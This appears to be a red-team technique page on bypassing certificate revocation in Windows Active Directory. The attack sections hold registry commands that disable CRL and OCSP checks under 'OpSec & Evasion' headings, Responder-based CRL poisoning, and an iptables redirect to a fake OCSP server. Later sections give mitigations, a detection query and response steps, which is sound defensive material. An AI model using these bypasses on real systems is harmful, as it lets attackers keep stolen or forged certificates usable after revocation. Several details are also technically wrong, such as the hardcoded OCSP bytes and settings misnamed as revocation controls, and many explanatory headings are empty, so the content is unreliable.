| Attribute | Details |
|---|---|
| Technique ID | CERT-REVOCATION-001 |
| MITRE ATT&CK v18.1 | T1649 - Steal or Forge Authentication Certificates |
| Tactic | Persistence, Privilege Escalation |
| Platforms | Windows AD |
| Severity | High |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | Windows Server 2016, Server 2019, Server 2022, Server 2025 |
| Patched In | Configuration controls and deployment best practices required |
| Author | SERVTEP – Pchelnikau Artur |
Concept: Certificate Revocation Bypass refers to techniques that allow an attacker to continue using a certificate even after it has been revoked by the Certificate Authority, or to prevent the Certificate Authority from revoking a compromised certificate. Revocation mechanisms (CRL—Certificate Revocation Lists, OCSP—Online Certificate Status Protocol) are designed to invalidate compromised certificates, but misconfigurations, disabled revocation checks, or vulnerabilities in the revocation infrastructure can allow bypasses. An attacker who steals or forges a certificate and prevents its revocation maintains long-term unauthorized access, even if the CA attempts to invalidate the credential.
Attack Surface: Certificate Revocation Lists (CRL) distribution points, OCSP responders, CRL caching mechanisms, CRL distribution network, and revocation status checking infrastructure.
Business Impact: Multi-year unauthorized access persistence despite incident response efforts. Even after a certificate is stolen or forged, an attacker can continue using it if revocation checks are disabled or fail. This enables long-term backdoor access, persistence through security incidents, and continued lateral movement even after detection and response attempts.
Technical Context: Revocation bypass exploits vary widely depending on environment configuration. Some bypasses are operational (disabling revocation checks on client systems), while others are infrastructural (compromising revocation infrastructure itself). Detection likelihood is low if revocation checks are disabled or offline.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 2.3.1.3 | Certificate revocation must be checked and enforced |
| DISA STIG | WN10-00-000010 | Certificate revocation must be enabled |
| CISA SCuBA | IA-4 (C), SC-23 (1) | Identifier and authentication management; session management |
| NIST 800-53 | AC-2, IA-5, SC-23 | Account management, credential management, session management |
| GDPR | Art. 32 | Security of processing; certificate management and validation |
| DORA | Art. 9, Art. 18 | Protection measures; identity and access controls |
| NIS2 | Art. 21 | Cyber risk management; authentication and session management |
| ISO 27001 | A.10.1, A.13.1.3 | Cryptography; certificate revocation procedures |
| ISO 27005 | Risk: “Certificate Revocation Bypass via Disabled Checks” | CRL and OCSP must be actively monitored and enforced |
Supported Versions:
Tools Required:
Supported Versions: Windows 7-11, Server 2016-2025
Command (PowerShell - All Versions):
# Check if revocation checking is enabled for server authentication
$Path = "HKLM:\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap"
Get-ItemProperty $Path -Name "Check*" -ErrorAction SilentlyContinue
# Check Group Policy settings
gpresult /h report.html # Review "Enforce certificate chain validation" setting
# Check IIS (if applicable)
Get-WebConfigurationProperty -PSPath 'IIS:\Sites\Default Web Site' -Filter "system.webServer/security/authentication/basicAuthentication" -Name "*"
Expected Output (If Revocation Checking Is Enabled):
CheckRevocation : 1
CheckServerRevocation : 1
What This Means:
Command (PowerShell - All Versions):
# Disable certificate revocation checking (CRL)
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Internet Settings" `
-Name "CheckRevocation" -Value 0
# Disable OCSP checking
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Internet Settings" `
-Name "CheckServerRevocation" -Value 0
# For IIS applications specifically
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\HTTP\Parameters" `
-Name "RevokeOnUnload" -Value 0
Write-Host "[+] Revocation checking disabled"
What This Means:
OpSec & Evasion:
Command (PowerShell - All Versions):
# Verify the change took effect
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Internet Settings" `
-Name "CheckRevocation"
# Expected output: CheckRevocation = 0
Supported Versions: Windows Server 2016-2025
Command (PowerShell - All Versions):
# Export CRL distribution points from a certificate
$Cert = Get-ChildItem Cert:\LocalMachine\My | Select-Object -First 1
$Extensions = $Cert.Extensions | Where-Object {$_.Oid.FriendlyName -eq "CRL Distribution Points"}
$Extensions.Format($false)
Expected Output:
[1] CRL Distribution Point
Distribution Point Name:
Full Name:
URL=http://ca.company.local/CertEnroll/Company-CA.crl
URL=ldap:///CN=Company-CA,CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=company,DC=local?certificateRevocationList?base?objectClass=cRLDistributionPoint
What This Means:
Command (Bash/Linux - All Versions):
# Intercept and poison CRL responses via network position
# Use Responder or similar tool to intercept LDAP/HTTP requests
# Example with Responder (if attacker has network position):
responder -I eth0 --wpad --smtp --smb --lm --nbns
# This will respond to CRL queries with a fake CRL that doesn't include the revoked cert
What This Means:
Command (PowerShell - All Versions):
# Use the revoked certificate; if CRL poisoning worked, it should be accepted
$Cert = Get-PfxCertificate -FilePath C:\revoked_cert.pfx -Password $password
# Attempt TLS connection with the certificate
$TLSConnection = New-Object System.Net.Sockets.TcpClient("target.company.local", 443)
Write-Host "[+] Connection successful; revoked cert was accepted"
OpSec & Evasion:
Supported Versions: Windows 7-11, Server 2016-2025
Command (PowerShell - All Versions):
# CRL cache is typically stored in the certificate store
Get-ChildItem Cert:\LocalMachine\AuthRoot\
# Alternative: Check the CRL cache directory
$CRLPath = "$env:ALLUSERSPROFILE\Application Data\Microsoft\CRL"
Get-ChildItem $CRLPath -Recurse
What This Means:
Concept: CRLs have a validity period (e.g., valid for 30 days). If a certificate is revoked during a gap between CRL updates, or if OCSP responder is offline, the revocation may not be detected.
Command (PowerShell - All Versions):
# Check CRL validity dates
$CRL = Get-Item "$env:ALLUSERSPROFILE\Application Data\Microsoft\CRL\*" -Include "*.crl"
$CRL | ForEach-Object {
$CRLObject = [System.Security.Cryptography.X509Certificates.X509CRL]::CreateFromFile($_.FullName)
Write-Host "CRL Valid Until: $($CRLObject.NextUpdate)"
}
What This Means:
Supported Versions: Windows Server 2016-2025
Command (PowerShell - All Versions):
# Extract OCSP responder URL from certificate
$Cert = Get-ChildItem Cert:\LocalMachine\My | Select-Object -First 1
$Extensions = $Cert.Extensions | Where-Object {$_.Oid.FriendlyName -eq "Authority Information Access"}
$Extensions.Format($false) | findstr /i "OCSP"
Expected Output:
OCSP:URL=http://ocsp.company.local/ocsp
What This Means:
Command (Bash/Linux - All Versions):
# Host a fake OCSP responder that always returns "good" status
# Using OpenSSL or a custom tool
# Simple approach: Use iptables to redirect OCSP requests to attacker-controlled server
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
# Start a web server that responds with fake OCSP "good" status
python3 << 'EOF'
from http.server import HTTPServer, BaseHTTPRequestHandler
class OCSPHandler(BaseHTTPRequestHandler):
def do_POST(self):
# Always respond with "certificate is good"
response = b'\x30\x03\x0a\x01\x00' # OCSP response: status=good
self.send_response(200)
self.send_header('Content-Type', 'application/ocsp-response')
self.send_header('Content-Length', len(response))
self.end_headers()
self.wfile.write(response)
server = HTTPServer(('0.0.0.0', 8080), OCSPHandler)
server.serve_forever()
EOF
What This Means:
Supported Versions: Windows 7-11, Server 2016-2025
Manual Steps:
gpupdate /force.Command (PowerShell - All Versions):
# Disable OCSP checking via registry (equivalent to GP)
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings" `
-Name "ProxyOverride" -Value "<local>"
# Disable OCSP stapling
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings" `
-Name "CheckServerRevocation" -Value 0
What This Means:
Registry Artifacts:
HKLM:\Software\Microsoft\Windows\CurrentVersion\Internet Settings\CheckRevocation = 0HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings\CheckServerRevocation = 0HKCU:\Software\Policies\Microsoft\WindowsEvent Log Artifacts:
Network Artifacts:
1. Enforce Revocation Checking via Group Policy
Ensure revocation checks cannot be disabled by users.
Manual Steps (Server 2016-2025):
gpupdate /force /sync.Manual Steps (PowerShell - All Versions):
# Set revocation checking to enforced via registry (GPO-backed)
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings" `
-Name "CheckRevocation" -Value 1 -Force
# Lock down registry to prevent user modifications
icacls "HKLM:\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings" `
/grant "SYSTEM:(F)" /grant "Administrators:(F)" /deny "Users:(M)"
2. Monitor Revocation Infrastructure
Implement active monitoring of CRL and OCSP endpoints.
Command (PowerShell - All Versions):
# Monitor CRL freshness
$CRLPath = "$env:ALLUSERSPROFILE\Application Data\Microsoft\CRL"
Get-ChildItem $CRLPath -Recurse | ForEach-Object {
$Age = (Get-Date) - $_.LastWriteTime
if ($Age.Days -gt 5) {
Write-Warning "CRL is older than 5 days: $($_.Name)"
}
}
# Monitor OCSP responder availability
Test-NetConnection -ComputerName ocsp.company.local -Port 80 -InformationLevel "Detailed"
3. Implement Certificate Pinning
Critical applications should pin trusted certificates to prevent MITM attacks on revocation checks.
Command (PowerShell - All Versions):
# Example: Pin certificate in .NET application
# In C#/.NET code:
# ServicePointManager.ServerCertificateCustomValidationCallback =
# (request, cert, chain, errors) => {
# return cert.Thumbprint == "ExpectedThumbprint";
# };
1. Deploy Multiple Revocation Mechanisms
Use both CRL and OCSP for redundancy.
Manual Steps (Server 2016-2025):
2. Monitor for Revocation Bypass Attempts
Alert on suspicious patterns.
Detection Query (KQL - Microsoft Sentinel):
// Alert on disabled revocation checking
SecurityEvent
| where EventID == 4688
| where CommandLine contains "CheckRevocation" or CommandLine contains "CheckServerRevocation"
| where CommandLine contains "= 0" or CommandLine contains "-Value 0"
Registry Indicators:
CheckRevocation = 0CheckServerRevocation = 0Event Log Indicators:
/setreg parameters disabling revocation.1. Isolate:
# Immediately force-enable revocation checking
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Internet Settings" `
-Name "CheckRevocation" -Value 1 -Force
2. Collect Evidence:
# Export registry for forensics
reg export "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings" C:\Evidence\RegSettings.reg
# Export certificate store
Get-ChildItem Cert:\LocalMachine\My | Export-Certificate -FilePath C:\Evidence\CertStore_$env:COMPUTERNAME.cer -Force
3. Remediate:
# Revoke the bypassed certificate
# (via certsrv.msc: Issued Certificates → Right-click → Revoke)
# Force CRL update
certutil -CRL
# Clear CRL cache and re-download
Remove-Item "$env:ALLUSERSPROFILE\Application Data\Microsoft\CRL\*" -Force
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Credential Access | [CERT-ADCS-001] ADCS Misconfiguration | Obtain forged certificate. |
| 2 | Persistence | [CERT-REVOCATION-001] | Bypass certificate revocation to maintain access. |
| 3 | Lateral Movement | [LM-AUTH-001] Pass-the-Ticket | Use persistent certificate for authentication. |
| 4 | Impact | [IM-EXFIL-001] Data Exfiltration | Extract data using persistent access. |